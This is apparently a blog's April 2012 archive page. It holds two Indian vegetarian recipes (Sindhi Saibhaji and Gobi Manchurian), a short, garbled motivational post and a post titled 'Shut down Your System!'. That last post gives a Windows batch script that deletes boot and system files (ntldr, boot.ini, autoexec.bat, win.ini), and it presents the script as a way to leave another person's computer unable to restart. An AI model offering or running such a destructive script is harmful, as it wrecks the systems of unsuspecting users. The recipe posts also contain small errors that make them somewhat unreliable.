Month: April 2012

Sindhi Saibhaji

Posted on

Sindhi Saibhaji

Ingredients:

1 each – carrot, capsicum, onion, small cabbage,potato, brinjal, tomato, ladyfinger (okra)
100 gms. french beans
9
1/2 bunch each spinach, coriander, khatta (3 leaved) greens.
1/2 bunch any other leafy greens.
1 cup green gram dal
1/2 cup horsegram dal (channa dal)
4-5 green chillies
2-3 clovettes garlic
1 tsp. red chilli powder
1 tsp. dhania (coriander seed) powder
1 tsp. salt
1/2 tsp. turmeric
3 tbsp. oil
1/2 tbsp. ghee
2 pinches asafoetida

 

METHOD:
Clean and wash dals.
Clean, wash and chop spinach and vegetables except tomato.
Heat oil in a pressure cooker, add all the vegetables, spinach and dals.
Mix well, add enough water to cover the contents.
Add all masalas and mix.
Place whole tomato on top, cover and pressurecook for 3 whistles.
Cool the cooker, open and handblend the contents.
Heat 1/2 tbsp. ghee add a pinch of asafoetida add to the mashed vegetable.
Serve hot with paratha or steamed rice
Making time: 30 minutes (excluding cooling time)
Makes for: 6
Shelf life: Best fresh

reciepi

Gobi Manchurian

Posted on

Gobi Manchurian

INGREDIENTS:

1 medium. cauliflower clean and broken into big florettes.
1 small bunch spring onoin finely chopped
2 tsp. ginger finely chopped
1 tsp. garlic finely chopped
1/4 cup plain flour
3 tbsp. cornflour
1/4 tsp. red chilli powder
2 red chillies, dry
3 tbsp. oil
1 1/2 cups water
1 tbsp. milk

METHOD:
Boil the florettes for 3-4 minutes in plenty of water, to which a tbsp. of milk has been added.
Drain and pat dry on a clean cloth.
Make thin batter out of flour and 2 tbsp.cornflour, adding 1/4 tsp. each of ginger and garlic and red chilli powder and salt
to taste.
Dip the florettes in the batter one by one and deep fry in hot oil. Keep aside.
In the remaining oil, add remaining ginger, garlic and crushed red chilli and fry for a minute.
Add the salt and spring onions.
Stir fry for a minute. Add 1 1/2 cups water and bring to a boil.
Add 1 tbsp. cornflour to 1/4 cup water and dissolve well.
Gradually add to the gravy and stir continuously till it resumes boiling.
Boil till the gravy becomes transparent. Add florettes and soya sauce.
Boil for two more minutes and remove.
Serve hot with noodles or rice.

Variations:
Dry manchurian can be made by omitting the gravy.
Make florettes as above and instead of adding water as above, add fried florettes, spring onions and soya ce at this stage.
Sprinkle 1 tsp. cornflour on the florettes and stirfry for 2 minutes.
Serve piping hot with toothpicks or miniforks and chilligarlic sauce or tomato sauce.
Same procedure for veg. manchurian (with gravy or dry), but instead of using only cauliflower, use finely chopped minced
vegetables and
bind with some cornflour or bread crumbs and make small lumps the size of a pingpong ball.
Fry as above and proceed as above.

Making time: 45 minutes
Makes for: 6
Shelf life: Best fresh

When U Don’t Get

Posted on

When U Don’t Get:

When U don’t get according to your hardship, knowledge, and qualification what u will do?

Time never say that wait for the time but when time comes things happens until u have wait for good.

Not to stop not leave the things, just go for forward work and see time say U have done it and prices good for U.

 

 

Shut down Your System!

Posted on

Shut Down a Computer Forever

Open notepad and copy/paste this code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Now Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.